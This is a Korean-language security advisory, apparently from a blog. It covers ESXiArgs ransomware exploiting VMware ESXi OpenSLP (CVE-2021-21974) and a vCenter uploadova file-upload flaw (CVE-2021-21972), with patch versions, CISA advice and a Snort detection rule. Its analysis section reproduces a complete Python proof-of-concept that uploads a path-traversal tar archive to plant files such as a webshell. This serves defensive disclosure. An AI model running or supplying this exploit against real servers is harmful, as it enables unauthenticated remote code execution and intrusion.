- VMware ESXi OpenSLP에서 발생하는 원격코드 실행 취약점이 랜섬웨어 유포에 악용
내용
- 최근 VMware ESXi 취약점을 악용해 랜섬웨어가 유포 > KISA은 VMware ESXi의 취약한 버전을 사용하는 사용자는 최신 버전으로 업데이트할 것을 긴급히 권고 > VMware ESXi의 OpenSLP에서 발생하는 원격코드 실행 취약점(CVE-2021-21974)을 악용_해당 취약점은 이미 2년 전에 VM웨어가 패치 ※ 영향받는 버전 ① 6.5(ESXi650-202102101-SG 이전 버전) ② 6.7(ESXi670-202102401-SG 이전 버전) ③ 7.0(ESXi70U1c-17325551 이전 버전)
※ 패치 버전 ①6.5 : ESXi650-202102101-SG 이후 버전 ②6.7 : ESXi670-202102401-SG 이후 버전 ③7.0 : ESXi70U1c-17325551 이후 버전
- 해당 맬웨어가 이 복구 절차를 무력화하도록 진화 > 해당 랜섬웨어가 타깃으로 삼는 구성 파일의 더 많은 비율을 암호화
기타
- 미국의 사이버 보안 전담 기관인 CISA가 ESXi악스(ESXiArgs) 랜섬웨어의 복호화 도구 ESXiArgs-Recover를 배포하기 시작 > 이미 이를 활용해 복호화에 성공한 사례들이 늘어나는 중
- 복구 스크립트를 사용하기 전에 철저히 검토 필요 > 스크립트는 암호화 된 설정 파일을 삭제하는 게 아니라 새로운 설정 파일을 생성함으로써 가상기계들로 접근할 수 있게 해 주는 기능을 가지고 있기 때문
- CISA 권고 > 스크립트를 실행한 후 즉시 서버를 최신 버전으로 업데이트하고 > ESXiArgs 공격자가 가상머신을 손상시키는 데 사용한 SLP(Service Location Protocol) 서비스를 비활성화 > 시스템을 다시 초기화하기 전에 ESXi 하이퍼바이저를 공용 인터넷에서 차단
- 추가 공격을 방지하기 위한 CISA와 FBI의 권고 > 정기적인 오프라인 백업 유지 > 알려진 맬웨어 벡터(예: SMB 네트워크 프로토콜 초기 버전 등) 제한 > 높은 수준의 내부 보안 등
- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점
※파일 업로드 후 원격 명령 실행으로 이어질 수 있음
영향받는 버전 - VMware vCenter Server 7.0 U1c 이전 7.x 버전 - VMware vCenter Server 6.7 U3I 이전 6.7 버전 - VMware vCenter Server 6.5 U3n 이전 6.5 버전 - VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전
2. 분석
2.1 원인
- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도
- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능
- [사진 3]의 코드는 다음과 같은 문제를 유발시킴
① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음
② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음
∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능
2.2 PoC
- 공개된 PoC를 확인 시 다음을 알 수 있음
① POST 메소드 사용
② /ui/vropspluginui/rest/services/uploadova URL 요청
③ .tar 확장자 파일을 업로드 시도
※ 대상 서버가 Windows인 경우
- .jsp 형식의 웹 쉘 등 악의적인 파일을
- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)
- 파일에 접근 및 원격 코드 실행
#!/usr/bin/python3
import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'
def check(ip):
r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
if r.status_code == 405:
print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
return True
else:
print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
return False
def make_traversal_path(path, level=5, os="unix"):
if os == "win":
traversal = ".." + "\\"
fullpath = traversal*level + path
return fullpath.replace('/', '\\').replace('\\\\', '\\')
else:
traversal = ".." + "/"
fullpath = traversal*level + path
return fullpath.replace('\\', '/').replace('//', '/')
def archive(file, path, os):
tarf = tarfile.open('exploit.tar', 'w')
fullpath = make_traversal_path(path, level=5, os=os)
print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
tarf.add(file, fullpath)
tarf.close()
print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')
def post(ip):
r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
if r.status_code == 200 and r.text == 'SUCCESS':
print('[+] File uploaded successfully')
else:
print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The file to tar')
parser.add_argument('-p', '--path', help='The path to extract the file to on target')
parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
args = parser.parse_args()
vulnerable = check(args.target)
if vulnerable and (args.file and args.path and args.operating_system):
archive(args.file, args.path, args.operating_system)
post(args.target)
3. 대응방안
3.1 서버측면
① 최신 버전의 업데이트 적용
- VMware vCenter Server 7.0 U1c - VMware vCenter Server 6.7 U3I - VMware vCenter Server 6.5 U3n - VMware Cloud Foundation (vCenter 서버) 4.2 - VMware Cloud Foundation (vCenter 서버) 3.10.1.2
3.2 네트워크 측면
① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용
alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)